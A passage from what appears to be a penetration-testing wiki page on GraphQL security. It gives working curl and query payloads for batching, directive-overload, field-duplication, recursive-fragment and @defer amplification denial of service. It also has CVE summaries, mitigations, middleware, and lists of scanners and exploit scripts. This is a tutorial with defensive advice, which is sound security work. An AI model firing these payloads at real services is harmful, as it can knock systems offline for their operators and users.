 -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
 'https://example.com/graphql'
 ```
 
 In this example, 10 different queries are batched into one request, forcing the server to execute all of them simultaneously. If exploited with a larger batch size or computationally expensive queries, it can overload the server.
 
 ### **Directive Overloading Vulnerability**
 
 **Directive Overloading** occurs when a GraphQL server permits queries with excessive, duplicated directives. This can overwhelm the server’s parser and executor, especially if the server repeatedly processes the same directive logic. Without proper validation or limits, an attacker can exploit this by crafting a query with numerous duplicate directives to trigger high computational or memory usage, leading to **Denial of Service (DoS)**.
 
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
 -H "Content-Type: application/json" \
 -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
 'https://example.com/graphql'
 ```
 
 Note that in the previous example `@aa` is a custom directive that **might not be declared**. A common directive that usually exists is **`@include`**:
 
 ```bash
 curl -X POST \
 -H "Content-Type: application/json" \
 -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
 'https://example.com/graphql'
 ```
 
 You can also send an introspection query to discover all the declared directives:
 
 ```bash
 curl -X POST \
 -H "Content-Type: application/json" \
 -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
 'https://example.com/graphql'
 ```
 
 And then **use some of the custom** ones.
 
 ### **Field Duplication Vulnerability**
 
 **Field Duplication** is a vulnerability where a GraphQL server permits queries with the same field repeated excessively. This forces the server to resolve the field redundantly for every instance, consuming significant resources (CPU, memory, and database calls). An attacker can craft queries with hundreds or thousands of repeated fields, causing high load and potentially leading to a **Denial of Service (DoS)**.
 
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
 -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
 'https://example.com/graphql'
 ```
 
 ## Recent Vulnerabilities (2023-2025)
 
 > The GraphQL ecosystem evolves very quickly; during the last two years several critical issues were disclosed in the most-used server libraries. When you find a GraphQL endpoint it is therefore worth fingerprinting the engine (see **graphw00f**) and checking the running version against the vulnerabilities below.
 
 ### CVE-2024-47614 – `async-graphql` directive-overload DoS (Rust)
 * Affected: async-graphql < **7.0.10** (Rust)
 * Root cause: no limit on **duplicated directives** (e.g. thousands of `@include`) which are expanded into an exponential number of execution nodes.
 * Impact: a single HTTP request can exhaust CPU/RAM and crash the service.
 * Fix/mitigation: upgrade ≥ 7.0.10 or call `SchemaBuilder.limit_directives()`; alternatively filter requests with a WAF rule such as `"@include.*@include.*@include"`.<sup>[[7]](#references)</sup>
 
 ```graphql
 # PoC – repeat @include X times
 query overload {
   __typename @include(if:true) @include(if:true) @include(if:true)
 }
 ```
 
 ### CVE-2024-40094 – `graphql-java` ENF depth/complexity bypass
 * Affected: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
 * Root cause: **ExecutableNormalizedFields** were not considered by `MaxQueryDepth` / `MaxQueryComplexity` instrumentation. Recursive fragments therefore bypassed all limits.
 * Impact: unauthenticated DoS against Java stacks that embed graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
 
 ```graphql
 fragment A on Query { ...B }
 fragment B on Query { ...A }
 query { ...A }
 ```
 
 ### CVE-2023-23684 – WPGraphQL SSRF to RCE chain
 * Affected: WPGraphQL ≤ 1.14.5 (WordPress plugin).
 * Root cause: the `createMediaItem` mutation accepted attacker-controlled **`filePath` URLs**, allowing internal network access and file writes.
 * Impact: authenticated Editors/Authors could reach metadata endpoints or write PHP files for remote code execution.
 
 ### CVE-2025-32031 – Apollo Gateway query-planner fragment fan-out DoS
 * Affected: `@apollo/gateway` < **2.10.1**
 * Root cause: **deeply nested and heavily reused named fragments** can bypass internal query-planner optimizations, so the gateway spends most of its CPU time **planning** the request before it even reaches the subgraphs.
 * Impact: a small number of unauthenticated requests can make a **federated gateway** unresponsive even when resolver depth/complexity checks look fine on the subgraphs.
 * Testing hint: in black-box tests, watch for high latency / gateway CPU spikes with almost no corresponding subgraph traffic. The choke point is the planner, not the resolver.
 
 ```graphql
 fragment F2 on Query { __typename }
 fragment F1 on Query { ...F2 ...F2 }
 fragment F0 on Query { ...F1 ...F1 }
 query { ...F0 }
 ```
 
 ---
 
 ## Incremental delivery abuse: `@defer` / `@stream`
 Since 2023 most major servers (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implemented the **incremental delivery** directives defined by the GraphQL-over-HTTP WG. Every deferred patch is sent as a **separate chunk**, so the total response size becomes *N + 1* (envelope + patches). A query that contains thousands of tiny deferred fields therefore produces a large response while costing the attacker only one request – a classical **amplification DoS** and a way to bypass body-size WAF rules that only inspect the first chunk. WG members themselves flagged the risk. 
 
 Example payload generating 2 000 patches:
 
 ```graphql
 query abuse {
 % for i in range(0,2000):
   f{{i}}: __typename @defer
 % endfor
 }
 ```
 
 Mitigation: disable `@defer/@stream` in production or enforce `max_patches`, cumulative `max_bytes` and execution time. Libraries like **graphql-armor** (see below) already enforce sensible defaults.
 
 ---
 
 ## Defensive middleware (2024+)
 
 | Project | Notes |
 |---|---|
 | **graphql-armor** | Node/TypeScript validation middleware published by Escape Tech. Implements plug-and-play limits for query depth, alias/field/directive counts, tokens and cost; compatible with Apollo Server, GraphQL Yoga/Envelop, Helix, etc. |
 
 Quick start:
 
 ```text
 import { protect } from '@escape.tech/graphql-armor';
 import { applyMiddleware } from 'graphql-middleware';
 
 const protectedSchema = applyMiddleware(schema, ...protect());
 ```
 
 `graphql-armor` will now block overly deep, complex or directive-heavy queries, protecting against the CVEs above.<sup>[[8]](#references)</sup>
 
 ---
 
 ## Tools
 
 ### Vulnerability scanners
 
 - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Test common misconfigurations of graphql endpoints
 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.
 - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerprint the graphql being used
 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit that can be used to grab schemas and search for sensitive data, test authorization, brute force schemas, and find paths to a given type.
 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Can be used as standalone or [Burp extension](https://github.com/doyensec/inql).
 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Can be used as a CLI client also to automate attacks: `python3 graphqlmap.py -u http://example.com/graphql --inject`
 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool that lists the different ways of **reaching a given type in a GraphQL schema**.
 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): The Successor of Standalone and CLI Modes os InQL
 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension or python script for advanced GraphQL testing. The _**Scanner**_ is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The _**Attacker**_ component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits: `python3 inql.py -t http://example.com/graphql -o output.json`
 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Try to get the schema even with introspection disabled by using the help of some Graphql databases that will suggest the names of mutations and parameters.
 
 ### Scripts to exploit common vulnerabilities
 
 - [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Collection of scripts for exploiting denial-of-service vulnerabilities in vulnerable graphql environments.
 
 ### Clients
 
 - [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client
 - [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client
 
 ### Automatic Tests
 
 [Graphql Dashboard.Herokuapp.Com](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/https%3A/graphql-dashboard.herokuapp.com/README.md)
 
 - Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
 
 ## References
 
 - [1] [Practical GraphQL attack vectors](https://jondow.eu/practical-graphql-attack-vectors/)
 - [2] [GraphQL — Common vulnerabilities & how to exploit them](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
 - [3] [All about GraphQL Security, GraphQL vs REST API model](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
 - [4] [API Hacking: GraphQL](http://ghostlulz.com/api-hacking-graphql/)
 - [5] [GraphQL Injection - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
 - [6] [GraphQL API vulnerabilities - PortSwigger](https://portswigger.net/web-security/graphql)
 - [7] [async-graphql directive overload Denial of Service (GHSA-5gc2-7c65-8fq8 / CVE-2024-47614)](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
 - [8] [GraphQL Armor](https://github.com/escape-tech/graphql-armor)
 - [9] [InQL v6.1.0 Just Landed with New Features and Contribution Swag!](https://blog.doyensec.com/2025/12/02/inql-v610.html)
 - [10] [GraphQL Threat Matrix](https://github.com/nicholasaleks/graphql-threat-matrix)
 - [11] [File Uploads - GraphQL](https://graphql.org/learn/file-uploads/)
 - [12] [Persisted Queries - Apollo GraphOS Docs](https://www.apollographql.com/docs/graphos/platform/security/persisted-queries)
 - [13] [We Hacked Google A.I. for $50,000](https://www.landh.tech/blog/20240304-google-hack-50000/)
 - [14] [GraphQL Batching Attack](https://lab.wallarm.com/graphql-batching-attack/)
 - [15] [GraphQL Security Testing Without a Schema](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)
 - [16] [NahamCon2024: GraphQL is the New PHP | @0xlupin](https://www.youtube.com/watch?v=tIo_t5uUK50)
 - [17] [That single GraphQL issue that you keep missing](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)
 - [18] [GraphQL Query Authentication Bypass Vuln](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)
 - [19] [HackerOne Report #792927 - sensitive account details leak via GraphQL query variables](https://hackerone.com/reports/792927)
 - [20] [graphql.org - GraphQL: A query language for APIs](https://graphql.org/learn/introspection)
 - [21] [GraphQL over HTTP specification](https://graphql.github.io/graphql-over-http/draft/)
 - [22] [SameSite cookies explained](https://web.dev/articles/samesite-cookies-explained)